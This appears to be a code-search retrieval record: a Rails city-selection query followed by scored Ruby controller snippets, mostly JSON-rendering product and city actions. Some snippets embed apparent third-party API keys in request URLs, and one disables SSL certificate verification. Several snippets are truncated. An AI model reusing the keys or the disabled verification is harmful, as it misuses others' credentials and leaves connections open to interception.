#@productos\n\n if session[:Usuario_idTP] == 1 || session[:Usuario_idTP] == 2\n @productos = Producto.all\n else\n @productos = Producto.find(:all, :conditions => [\"estado = ?\" , true ] )\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @productos }\n end\n end", "title": "" }, { "docid": "d45cc1e9067879f63cdb24a6a9a6dbec", "score": "0.6311289", "text": "def index\n @logproductos = Logproducto.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @logproductos }\n end\n end", "title": "" }, { "docid": "b78cd72dac9c94fe510eb7b154683962", "score": "0.63067645", "text": "def show\n @dispenser = Dispenser.find(params[:id])\n @product_s = Product.order(\"stocka asc\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dispenser }\n end\n end", "title": "" }, { "docid": "4c948d8fbfd34ece8315e7650ae3a026", "score": "0.62956023", "text": "def index\n @products = Product.all\n render json: @products\n end", "title": "" }, { "docid": "53a140be79f20b089e0daabe49556021", "score": "0.6293697", "text": "def show\n @combo = Combo.find(params[:id])\n @productos = Producto.order(:codigo)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @combo }\n end\n end", "title": "" }, { "docid": "f96085b18430e80de0b41093f8619235", "score": "0.62915903", "text": "def getProduit\r\n marche = params[:id]\r\n render json: Produit.where(market_id: marche)\r\n end", "title": "" }, { "docid": "0fa532fed121a88fc7e37e254a3d4c29", "score": "0.6290744", "text": "def index\n @ice_products = IceProduct.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ice_products }\n end\n end", "title": "" }, { "docid": "c94ac951ea74c2c2f12ae8ea06b2bbeb", "score": "0.62893575", "text": "def index\n @products = Product.all\n\n render json: @products\n end", "title": "" }, { "docid": "b117539495a52f68d8e321e5a2f716c0", "score": "0.6281216", "text": "def index\n @products = Product.all\n render json: @products, status: 200\n end", "title": "" }, { "docid": "0fb0936f7424b89312dace9eb442b4df", "score": "0.6278894", "text": "def product_by_sku\n self.class.get(\"/aldebaran-products/products/#{$id}\", :basic_auth => @auth)\n end", "title": "" }, { "docid": "a06eb43eff1d37c3950104b8608b37f8", "score": "0.62658155", "text": "def show\n @v1_product = V1::Product.find(params[:id])\n\n render json: @v1_product\n end", "title": "" }, { "docid": "3f38c6d00619b661defcd6b6cea46027", "score": "0.62590367", "text": "def buscar_estados\n render json: Estado.by_pais(params[:pais_id])\n end", "title": "" }, { "docid": "f8923b4051872a0eb2a8decadfe54553", "score": "0.6256383", "text": "def show\n render json: product, serializer: Api::V1::ProductSerializer\n end", "title": "" }, { "docid": "f57095126acc1b589367f5b6e3893508", "score": "0.6254034", "text": "def getStitchProducts\n\t\tbegin\n\t\t\tall_products = Product.all\n\t\t\trender :json => {data: all_products}\n\t\trescue Exception => e\n\t\t\tp \"Something went wrong while retreiving stitchlite products :::::::::\" + e.to_s\n\t\tend\n\tend", "title": "" }, { "docid": "8ba760a339da6f31a7abac8e4a7af6ae", "score": "0.62423694", "text": "def get_product_list\n\n\turi = URI.parse(\"http://api.zappos.com/Search/term/~1?limit=20&key=52ddafbe3ee659bad97fcce7c53592916a6bfd73\")\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\trequest = Net::HTTP::Get.new(uri.request_uri)\n\tresponse = http.request(request)\n\n\thash = JSON.parse response.body\n\thash[\"results\"].each do |result|\n\t\t# puts result[\"styleId\"]\n\t\t$prices.push(result[\"price\"].delete('$').to_f)\n\t\t$names.push(result[\"productName\"])\n\tend\nend", "title": "" }, { "docid": "c23fe4f774df78e7125116e712ea5587", "score": "0.62350845", "text": "def show\n @product_sale = ProductSale.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_sale }\n end\n end", "title": "" }, { "docid": "6a5374ec1963e06af6fdbcbbb842d948", "score": "0.6233439", "text": "def show\n @producteur = Producteur.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producteur }\n end\n end", "title": "" }, { "docid": "fb4ffe64162a5c5f1ec47133514b003b", "score": "0.62325984", "text": "def products\n if true\n render json: {products: [{SKU: \"\", \"name\": \"\", price: 0 ,stock: 0}, {SKU: \"\", name: \"\", price: 0 ,stock: 0}]}, status: 200\n elsif false\n render json: {error: \"La autenticación ha fallado\"}, status: 401\n end\n end", "title": "" }, { "docid": "833feba829b426bdfad19fa48726a8a5", "score": "0.6231165", "text": "def index\n @products = Product.all\n render formats: :json\n end", "title": "" }, { "docid": "770a68c1f8c1f18558a1dde65bb32124", "score": "0.62270755", "text": "def index\n @skus = @product.skus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @skus }\n end\n end", "title": "" }, { "docid": "a2145e869fcd1c659ba0178e0a1fef8b", "score": "0.62269837", "text": "def index\n @proveedores = Proveedor.order(\"razon_social\").page(params[:page]).per(15)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proveedores }\n end\n end", "title": "" }, { "docid": "de98ca6ec51446177b125fa384e87510", "score": "0.62202543", "text": "def show\n @detalleproducto = Detalleproducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detalleproducto }\n end\n end", "title": "" }, { "docid": "0a95e5aeaaed77a6d2069ded8e7eb217", "score": "0.6219595", "text": "def show\n @vpsa_produto = VpsaProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vpsa_produto }\n end\n end", "title": "" }, { "docid": "36d5788b26dd8467f259c5eae45b889b", "score": "0.62125605", "text": "def index\n @sale_products = SaleProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sale_products }\n end\n end", "title": "" }, { "docid": "c29a01f8b43823d20a069f3da958a64b", "score": "0.6212481", "text": "def getStitchProductsById\n\t\tbegin\n\t\t\tproduct_by_id = Product.where(id: params[:id])\n\t\t\trender :json => {data: product_by_id}\n\t\trescue Exception => e\n\t\t\tp \"Something went wrong while retreiving stitchlite product by ID :::::::::\" + e.to_s\n\t\tend\n\tend", "title": "" }, { "docid": "c40105f127d47772b809a2f501a2777a", "score": "0.6208876", "text": "def new\n @producto_ingreso = ProductoIngreso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producto_ingreso }\n end\n end", "title": "" }, { "docid": "9f1bf689fd0ffd58b0f60d2b66876f1f", "score": "0.6196899", "text": "def show\n @productsonsales = Productsonsale.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productsonsale }\n end\n end", "title": "" }, { "docid": "c1131125291b7d642c8bc0fc87fddf57", "score": "0.61954206", "text": "def show\n render json: @product, status: 200\n end", "title": "" }, { "docid": "18a396c2c40f2f3405d1320b968b1596", "score": "0.6191292", "text": "def index\n @partidos = Partido.all\n render json: @partidos, status: :ok\n end", "title": "" }, { "docid": "80467940d14af5f48b6a8a815d529197", "score": "0.61841637", "text": "def index\n render json: Product.all\n end", "title": "" }, { "docid": "c50864414ee6e5cd72dfa5655f99ba56", "score": "0.61822116", "text": "def index\n @products = Product.by_user(current_user).all\n render json: @products\n end", "title": "" }, { "docid": "d319d2b711c67a4240c7a7f0f6c5da68", "score": "0.6178779", "text": "def call\n resp = ::Net::HTTP.get URI(to_s)\n ::MultiJson.decode(resp)['products']\n end", "title": "" }, { "docid": "118e40ec4afb781be00a79800f5d9f19", "score": "0.6157444", "text": "def show\n @mostsmallterrainproduct = Mostsmallterrainproduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallterrainproduct }\n end\n end", "title": "" }, { "docid": "ab93270b6934699e718aeb6a12aea541", "score": "0.6156075", "text": "def products_api(format = :json)\n #HTTParty.get(self.info_api(format))[\"products\"]\n \"#{ api_root }/products.#{ format.to_s }\"\n end", "title": "" }, { "docid": "ab93270b6934699e718aeb6a12aea541", "score": "0.6156075", "text": "def products_api(format = :json)\n #HTTParty.get(self.info_api(format))[\"products\"]\n \"#{ api_root }/products.#{ format.to_s }\"\n end", "title": "" }, { "docid": "b4b25f0103c69a8d64d3e49f2475742b", "score": "0.6154783", "text": "def index\n @servicos = Servico.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servicos }\n end\n end", "title": "" }, { "docid": "d9467b9d3d5e8218c73eaa87d401a341", "score": "0.6148293", "text": "def index\n @produits = Produit.where(:type_of_produit => \"Produit\").limit(15).order(\"created_at DESC\")\n @services = Produit.where(:type_of_produit => \"Service\").limit(15).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end", "title": "" }, { "docid": "66e7f9db5d484732cc4ac5fa73ed3ad0", "score": "0.61394083", "text": "def index\n if(params[:num_cartao])\n @beneficiario = Beneficiario.find_by(:num_cartao => params[:num_cartao])\n render json: @beneficiario\n else\n @beneficiarios = Beneficiario.all\n end\n end", "title": "" }, { "docid": "b87484a56cba3da8597b9e04bf9c47bf", "score": "0.61357564", "text": "def show\n render json: @product\n end", "title": "" }, { "docid": "b87484a56cba3da8597b9e04bf9c47bf", "score": "0.61357564", "text": "def show\n render json: @product\n end", "title": "" }, { "docid": "b87484a56cba3da8597b9e04bf9c47bf", "score": "0.61357564", "text": "def show\n render json: @product\n end", "title": "" }, { "docid": "b87484a56cba3da8597b9e04bf9c47bf", "score": "0.61357564", "text": "def show\n render json: @product\n end", "title": "" }, { "docid": "97575bbb5e4cf025bc10fb65598fc0e6", "score": "0.61356133", "text": "def index\n @product = Product.find(params[:product_id])\n @lots = Lot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lots }\n end\n end", "title": "" }, { "docid": "ca37c90d63cfb018605ab14febe9519f", "score": "0.6133633", "text": "def index\n @v1_products = V1::Product.all\n if @v1_products.empty?\n render json: @v1_products, message: 'Resource not found', status: 404\n else\n render json: @v1_products, message: 'OK', status: 200\n end\n end", "title": "" }, { "docid": "6c8d7e4dcd0a6d46362e62a643bbf326", "score": "0.61293715", "text": "def show\n render json: @product\n end", "title": "" }, { "docid": "f11be4ec640785eb7d9346707e26908e", "score": "0.61272824", "text": "def price\n price = params[:price]\n @products = Product.where(price: params[:price])\n render json: @products\n end", "title": "" }, { "docid": "b311b423ad372cea747f440f33ea4cee", "score": "0.6119159", "text": "def index\n @productos = Producto.all\n @productoslst = Producto.find_by_sql \"SELECT productos.id , case when tipoproducto= 0 then 'VINO' else 'CAJA' end as Tipo,productos.descripcion as desc1,\n capacidad , categoria.descripcion as desc2,\n origen,cata,temperatura, anada, crianza, uva, productos.imagen \n FROM productos, categoria\n where productos.idCategoria = categoria.id\"\n @Categoria = Categoria.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @productos }\n end\n end", "title": "" }, { "docid": "8b0ee276a0b18e3683b9f618150a5ed6", "score": "0.61169815", "text": "def show\n json_response(@api_v1_order.as_json(methods: [:total, :products]))\n end", "title": "" }, { "docid": "39954a9004383ebadcde3635937e7b58", "score": "0.6116576", "text": "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "title": "" }, { "docid": "8e38ecc955b86751c88d26c6670f0256", "score": "0.61127985", "text": "def show\n @product = Product.find(params[:id])\n @product_id = @product.id\n @product_name = @product.name\n\n file = open(\"https://www.googleapis.com/shopping/search/v1/public/products?key=AIzaSyCJO615wXOmLuktUIFAXb14moV7qNvmT4E&country=US&q=#{URI.escape(@product_name)}&alt=json\", :ssl_verify_mode => OpenSSL::SSL::VERIFY_NONE)\n @result = JSON.load(file.read)['items'][0]['product']\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "title": "" }, { "docid": "e4888cb5c2d56a5f8d40872092447a61", "score": "0.6110664", "text": "def index\n @prospecto_cliente_productos = ProspectoClienteProducto.all\n end", "title": "" }, { "docid": "a628aa37f30ca404372d29d6389e16a8", "score": "0.6110619", "text": "def index\n @product_types = ProductType.where(\"product_id = ?\", params[:get_product_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end", "title": "" }, { "docid": "69460b320721d5df3545abab58a8148b", "score": "0.6105031", "text": "def show\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @item_producto = @producto.item_productos.find(params[:id])\n respond_to do |format|\n format.html {\n val = url_for([@empresa,@producto,@item_producto])\n #http://desolate-cliffs-8987.herokuapp.com/\n valor = val.gsub('http://0.0.0.0:3000', '')\n #valor = val.gsub('http://desolate-cliffs-8987.herokuapp.com', '')\n #http://tranquil-lake-8200.herokuapp.com\n #valor = val.gsub('http://0.0.0.0:3000', '')\n qrcode = RQRCode::QRCode.new(valor, :size => 3, :level => :l)\n png = qrcode.to_img \n send_data png.resize(200, 200), :type => 'image/png', :disposition => 'attachment'\n }\n format.json{render :json => @item_producto.to_json(:only => [:id, :marca, :precio, :tipo],:methods => [:image_url],\n :include =>{ :detalles => { :only => [:id,:descripción, :elaboración, :presentación, :packaging ,:origen, :secanza, :característica], \n :include=>{ :prop_especificas=> {:only=>[:id,:item, :descripción]}}},\n :galeria_imagenes => { :only => [:id,:titulo,:descripcion ] ,:methods => [:image_url]},\n :videos_productos => { :only => [:id,:titulo,:descripcion, :url]},\n :opinions => { :only => [:id,:nombre, :nacionalidad, :pais, :ciudad, :comentario]}})} \n\n end\n end", "title": "" }, { "docid": "e3492998048461c009661efee0243581", "score": "0.61023396", "text": "def show\n @producto = Producto.find(params[:id])\n\n if current_vendedor\n\n @catalogo = Catalogo.where(:vendedor_id=>current_vendedor.id, :producto_id=>@producto.id)\n\n\n if @catalogo.empty?\n @enCatalogo = false\n else\n @enCatalogo = true\n end\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "title": "" } ]
dc08b2720b33e4106bf00883762679ff
def selected_city user user.present? ? (user.city.present? ? user.city.id : nil) : nil end
[ { "docid": "5f65383c710ac48d632d3cfb7572e7f3", "score": "0.0", "text": "def country_options\n Country.all.map{|country| [country.title, country.id]}\n end", "title": "" } ]
[ { "docid": "734d9175215fc6f28605d3250fa9ee34", "score": "0.73974663", "text": "def set_user_city\n @user_city = UserCity.find(params[:id])\n end", "title": "" }, { "docid": "a668ee03c6299e5111fca52ada230ee7", "score": "0.6967483", "text": "def set_mobile_user_city\n @mobile_user_city = MobileUserCity.find(params[:id])\n end", "title": "" }, { "docid": "28d707a6958c7ece30819e4a762cb818", "score": "0.6918816", "text": "def set_city\n @city ||= City.find(params[:id])\n end", "title": "" }, { "docid": "6bf798f761e8f2f40cb9bff2cc9777e8", "score": "0.6850684", "text": "def current_city\n if @city \n @city.name\n elsif @institute\n @institute.name\n else #failsafe\n end\n end", "title": "" }, { "docid": "ca4f61dc1d8b25f0b94cee96e167f948", "score": "0.68345046", "text": "def set_city()\n selected_city = Spree::City.where(id: city_id).first\n self.city = selected_city.present? ? selected_city.name : city_name\n end", "title": "" }, { "docid": "faaa2bece4b33a0ad7dc0fa68c2a8fbc", "score": "0.6817359", "text": "def current_city\n if session[:city_id] && session[:city_id] != 0\n return City.find(session[:city_id])\n end\n end", "title": "" }, { "docid": "7dfb96c067209d4a2ff1de1e49e1c3e4", "score": "0.6667367", "text": "def set_city_selection\n @city_selection = CitySelection.find(params[:id])\n end", "title": "" }, { "docid": "9b246f8f0f45be417ab1ba3b834aae95", "score": "0.6643792", "text": "def set_city\n @city = City.find params[:id]\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "2efec654285317f2667cc27c80d13605", "score": "0.66327184", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "41cbca50ffdd788b1f99c2653e948feb", "score": "0.65030295", "text": "def set_city\n @city = City.find(params[:id])\n end", "title": "" }, { "docid": "756cb6b4094efc26051a92aa5d279d15", "score": "0.64979064", "text": "def set_cities_user\n @cities_user = CitiesUser.find(params[:id])\n end", "title": "" }, { "docid": "34baeb90313268edca407c130e353795", "score": "0.6468884", "text": "def current_city\n return City.find(1)\n end", "title": "" }, { "docid": "ec7fd316bd03a9e84a15e31575b61494", "score": "0.63992465", "text": "def getCity\n @city\n end", "title": "" }, { "docid": "77ee3a89f0426d913ac4d6f52d7e4636", "score": "0.63920295", "text": "def city\n @city\n end", "title": "" }, { "docid": "74fb9e33503cdb3cf04a73cf83075896", "score": "0.6386184", "text": "def set_city\n if current_user.is_admin\n # @city = City.find(params[:id])\n @city = City.friendly.find(params[:id])\n else\n redirect_to dashboard_index_path, alert: 'You don\\'t have permission to do that.'\n end\n end", "title": "" }, { "docid": "7714bef0b28a840f1c0df033dd7ea0ca", "score": "0.6372238", "text": "def has_city?\n \thas?(params[:state_id]) and has?(params[:city_id])\n end", "title": "" }, { "docid": "0f0eb9bdbcb43595506ccd8ac3d26b3a", "score": "0.6359336", "text": "def set_city\n @city = City.friendly.find(params[:city_id])\n end", "title": "" }, { "docid": "0f0eb9bdbcb43595506ccd8ac3d26b3a", "score": "0.6359336", "text": "def set_city\n @city = City.friendly.find(params[:city_id])\n end", "title": "" }, { "docid": "2db35033df64e398e1574197cd31af7d", "score": "0.63364154", "text": "def set_city \n @city = City.friendly.find(params[:city_id])\n end", "title": "" }, { "docid": "74214198679774bd776a5ca299f77749", "score": "0.6329348", "text": "def set_city\n @city = City.friendly.find(params[:id])\n end", "title": "" }, { "docid": "25e851196aa36e1fdb732138866a0aa0", "score": "0.6296735", "text": "def set_city \n @city = City.friendly.find(params[:city_id])\n end", "title": "" }, { "docid": "50a0e22767efa007cb7195b278b81be4", "score": "0.62945104", "text": "def choose_location\n params[:location_id] || current_user.location_id\n end", "title": "" }, { "docid": "4becdbbdb0e1b8400239b173db9c3557", "score": "0.6282854", "text": "def get_city_state(city)\n DeviceAccess.where(access_city: city).last.access_state rescue nil\n end", "title": "" }, { "docid": "256d8fbfa53e8948e5e714501556e629", "score": "0.6278042", "text": "def city_id\n\t\tobject.id\n\tend", "title": "" }, { "docid": "81251a7391e81f7ee06e2fb681007330", "score": "0.6277359", "text": "def find_city\n\t\t\tif params[:country_id] && params[:state_id] && params[:city_id]\n\t\t\t\t# Walk the tree \n\t\t\t\tcity_category = Category.find_by_parent_uuid_and_url_part(@state.uuid, params[:city_id].downcase)\n\t\t\t\t@city = City.find(:first, :conditions => { :category_id => city_category.id })\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "81251a7391e81f7ee06e2fb681007330", "score": "0.6277359", "text": "def find_city\n\t\t\tif params[:country_id] && params[:state_id] && params[:city_id]\n\t\t\t\t# Walk the tree \n\t\t\t\tcity_category = Category.find_by_parent_uuid_and_url_part(@state.uuid, params[:city_id].downcase)\n\t\t\t\t@city = City.find(:first, :conditions => { :category_id => city_category.id })\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "f32fad1a5921a5942d78f753721a4a1f", "score": "0.6277217", "text": "def city\n ::City.find_by(contabilium_id: self.IdCiudad)\n end", "title": "" }, { "docid": "0a312194e15830b71b1a1c9535cf2554", "score": "0.6244225", "text": "def has_city?(city_name)\n\t\tcity(city_name).present?\n\tend", "title": "" }, { "docid": "38691e0717862ea39efc0096c7a00ccf", "score": "0.6237052", "text": "def set_m_city\n @m_city = MCity.find(params[:id])\n end", "title": "" }, { "docid": "38691e0717862ea39efc0096c7a00ccf", "score": "0.6237052", "text": "def set_m_city\n @m_city = MCity.find(params[:id])\n end", "title": "" }, { "docid": "b044e2f0b9616c8f9e455b79d52e5d76", "score": "0.62320966", "text": "def near_user?(user)\n user.blank? || user.city.try(:name).nil? || self.city.name == user.city.try(:name)\n end", "title": "" }, { "docid": "3a34ffdd7b5dc5c30e5840b3f3a70119", "score": "0.620152", "text": "def id_by_city\n @id_by_city ||= begin\n update_area_table\n @id_by_city\n end\n end", "title": "" }, { "docid": "6e55f91b575c593746d8353d4231e5e5", "score": "0.6191964", "text": "def city(city_name)\n\t\tfind_city = -> city {\n\t\t\tcity.name == city_name\n\t\t}\n\t\t@zomato.cities.find(&find_city)\n\tend", "title": "" }, { "docid": "c7c8887d8a467e89da0310c3b6e7a72c", "score": "0.61689097", "text": "def get_city_by_id\n city = (!params['id'].nil?) ? City.find_by(id: params['id']) : nil\n if (!city.nil?)\n render json: {status: 'SUCCESS', message:'City found', data:city},status: :ok\n else\n render json: {status: 'ERROR', message:'City not found', data:city},status: :not_found\n end \n end", "title": "" }, { "docid": "246d73a04a5ce80ae4c05a246e7cad4f", "score": "0.6141051", "text": "def set_city\n end", "title": "" }, { "docid": "c51127140133d73798a4da046bd3c148", "score": "0.6136912", "text": "def city\n return @city\n end", "title": "" }, { "docid": "a0ca33c2cf368eb3ae8e5f81dc0505e6", "score": "0.61273444", "text": "def set_student_city\n @student_city = StudentCity.find(params[:id])\n end", "title": "" }, { "docid": "b925ca0e14f69a2c871be5d4480bfaf8", "score": "0.60988843", "text": "def get_id\n @single_city_data[\"id\"]\n end", "title": "" }, { "docid": "64c9e7ba7ca93db703463166d4183b27", "score": "0.6093863", "text": "def city(city)\n x = @cities.select { |c| c.city == city }\n x[0]\n end", "title": "" }, { "docid": "ea571d8e4de19af1083d022604c37094", "score": "0.6088305", "text": "def edit_city\n user = current_user\n if user.admin?\n if !(params[:name].nil? || params[:country_name].nil? || params[:province_name].nil? || params[:state_name].nil?)\n city = City.where(id: params[:id]).first\n if (!city.nil?)\n city.update_attributes(\n name: params[:name],\n country_id: BSON::ObjectId.from_string(params[:country_id]),\n country_name: params[:country_name],\n province_id: BSON::ObjectId.from_string(params[:province_id]),\n province_name: params[:province_name],\n state_id: BSON::ObjectId.from_string(params[:state_id]),\n state_name: params[:state_name]\n )\n render json: {status: 'SUCCESS', message:'City updated', data:city},status: :ok\n else\n render json: {status: 'ERROR', message:'City not found', data:nil},status: :not_found\n end \n end \n elsif user.admin_country?\n if !(params[:name].nil? || params[:country_name].nil? || params[:province_name].nil? || params[:state_name].nil?)\n city = City.where(id: params[:id]).first\n if (!city.nil?)\n if (city[:country_id] == user['country_id'])\n city.update_attributes(\n name: params[:name],\n country_id: BSON::ObjectId.from_string(params[:country_id]),\n country_name: params[:country_name],\n province_id: BSON::ObjectId.from_string(params[:province_id]),\n province_name: params[:province_name],\n state_id: BSON::ObjectId.from_string(params[:state_id]),\n state_name: params[:state_name]\n )\n render json: {status: 'SUCCESS', message:'City updated', data:city},status: :ok\n else\n render json: {status: 'ERROR', message:'Action not allowed', data:nil},status: :not_found\n end\n else\n render json: {status: 'ERROR', message:'City not found', data:nil},status: :not_found\n end \n end\n end \n end", "title": "" }, { "docid": "fedd0537709d636be10c343309ae9c89", "score": "0.6081645", "text": "def define_city\n @city = Faker::Address.city\n @city = '' unless @set_blank == false\n end", "title": "" }, { "docid": "5940be21137f7ea0d523460495d5c736", "score": "0.6071011", "text": "def contact\n @city = City.first\n end", "title": "" }, { "docid": "f1827c29b0360cbec068f6655d0dd89a", "score": "0.6015388", "text": "def city_name\r\n self.city.name\r\n end", "title": "" }, { "docid": "fec92a0dd5b51ad32e459c7b92c03afe", "score": "0.6015079", "text": "def show\n @city = City.find(@user.city_id)\n puts @user.inspect\n end", "title": "" }, { "docid": "21cb274d78b9d4f8c1237987803e5281", "score": "0.6014856", "text": "def set_tour_place\n @user_tour_place = UserTourPlace.find_by(user_tour_id: params[:user_tour_id], place_id: params[:place_id])\n # @user_tour_place = UserTour.where(id: params[:user_tour_id], user: current_user).any? ? UserTourPlace.find_by(user_tour_id: params[:user_tour_id], place_id: params[:place_id]) : nil\n end", "title": "" }, { "docid": "1c78ba120d916b041e666bd4cf9a9895", "score": "0.59806037", "text": "def set_previous_city\n @previous_city = PreviousCity.find(params[:id])\n end", "title": "" }, { "docid": "70ea5094749652d506369dcffe2a8cfc", "score": "0.5974994", "text": "def create\n\n city = City.find(params[:user_city])\n respond_to do |format|\n if city\n session[:user_city] = params[:user_city]\n session[:user_location] = nil\n session[:user_dish] = nil\n format.html { redirect_to(locations_path(:city_id => city), :notice => 'Your current city was successfully set.') }\n format.xml { render :xml => @user_city, :status => :created, :city => @user_city }\n else\n logger.error \"Could not set :user_city from #{params[:user_city]}\"\n return\n end\n end\n end", "title": "" }, { "docid": "80c7eb45f91bf2a02ffb28e174d0faee", "score": "0.5950645", "text": "def getCity\n @city_id=ReceiverAddress.where(id: params[:address_id]).first.city_id\n @city=City.where(id: @city_id).first\n respond_to do |format|\n format.html\n format.json {render json: @city}\n end\n end", "title": "" }, { "docid": "63406e4d710bbabe4d9ccca64517717d", "score": "0.5950392", "text": "def set_world_city\n @world_city = WorldCity.find(params[:id])\n end", "title": "" }, { "docid": "9f438caf489458217ee73ec80d8b870e", "score": "0.5948848", "text": "def set_city\n # @city = City.find(params[:id])\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n end", "title": "" }, { "docid": "3d0ae87ac89b428749902f6feaea1800", "score": "0.59113026", "text": "def set_admin_city\n @admin_city = Admin::City.find(params[:id])\n end", "title": "" }, { "docid": "7f2765e9adbe845174a360b2bdfff58c", "score": "0.5910801", "text": "def set_city\n @state = State.find(params[:state]).decorate rescue nil\n @city = City.find(params[:state] + '/' + params[:id]).decorate rescue nil\n raise ActionController::RoutingError.new('Not Found') if (@city.nil?)\n end", "title": "" }, { "docid": "2cb651a1c8c994d9d849a1bbbcaf5549", "score": "0.58860093", "text": "def public_city\n (raw_location.present? && raw_location.strip.match(/\\d+/)) ? city : raw_location\n end", "title": "" }, { "docid": "e9693817eb35068866081cd919f51c69", "score": "0.5884159", "text": "def city(params={})\n address.cities(params).select { |city| city.ref == self.city_ref }.first.result\n end", "title": "" }, { "docid": "3d6b77cbe5313dd2bde12b8ef9e39a1b", "score": "0.5877975", "text": "def update\n\n @users = User.find_by_city_id(@city.id)\n\n respond_to do |format|\n if city_params[:status]==\"inativo\" and @city.status==\"ativo\" and @users!=nil\n format.html { redirect_to @city, notice: 'Cidade tem profissionais. Desative os profissionais.' }\n format.json { render :show, status: :ok, location: @city }\n else\n\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n\n end\n end\n\n end", "title": "" }, { "docid": "be80eabac7452c3222f96eed4b116675", "score": "0.5865702", "text": "def city=(value)\n @city = value\n end", "title": "" }, { "docid": "efee7df3aff464034e0bca17b2b943f0", "score": "0.58317286", "text": "def country\n city.country\n end", "title": "" }, { "docid": "b0ba68a80ee7799ff2cd58b37a22978b", "score": "0.58308125", "text": "def mobile_user_city_params\n params.require(:mobile_user_city).permit(:city_id, :mobile_user_id)\n end", "title": "" }, { "docid": "de3ffa882883ac5b86ef78bdd8af8a29", "score": "0.5827995", "text": "def set_city_b\n @city_b = CityB.find(params[:id])\n end", "title": "" }, { "docid": "fd3faca68a5eb4582c04a8d285c1b0fc", "score": "0.5827903", "text": "def destroy\n @city = City.find(params[:id])\n @user = @city.users\n if @city.present? && @user.present?\n render :json=>{:response=>\"Not deleted\"}\n else\n @city.destroy\n render :json=>{:response=>\"success\"}\n end\n end", "title": "" }, { "docid": "877d1e2829f946104401712bbc2557e6", "score": "0.58243227", "text": "def new\n @valid_user = User.find(:first, :conditions => [\"username = ? \", session[:user_id]])\n if session[:user_id] != nil and session[:user_id] != ''\n @valid_user = User.find(:first, :conditions => [\"username = ? \", session[:user_id]])\n\n if @valid_user == nil\n flash[:error] = \"You don't have access to this section.\" \n redirect_to '/'\n return\n end \n \n else\n flash[:error] = \"You 